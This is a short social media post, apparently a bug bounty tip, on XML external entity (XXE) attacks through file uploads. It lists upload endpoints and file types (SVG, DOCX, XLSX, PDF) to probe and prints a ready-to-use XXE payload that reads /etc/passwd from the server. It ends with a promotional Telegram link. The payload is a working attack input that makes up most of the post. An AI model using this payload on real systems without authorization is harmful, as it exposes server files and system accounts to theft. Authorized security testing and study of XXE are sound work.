@yogsec.bsky.socialBug Bounty Tip: XXE via File Upload / SVG
Look for:
POST /upload accepting XML, SVG, DOCX, XLSX, or PDF files.
```xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
```
Telegram channel: t.me/bugbountyusa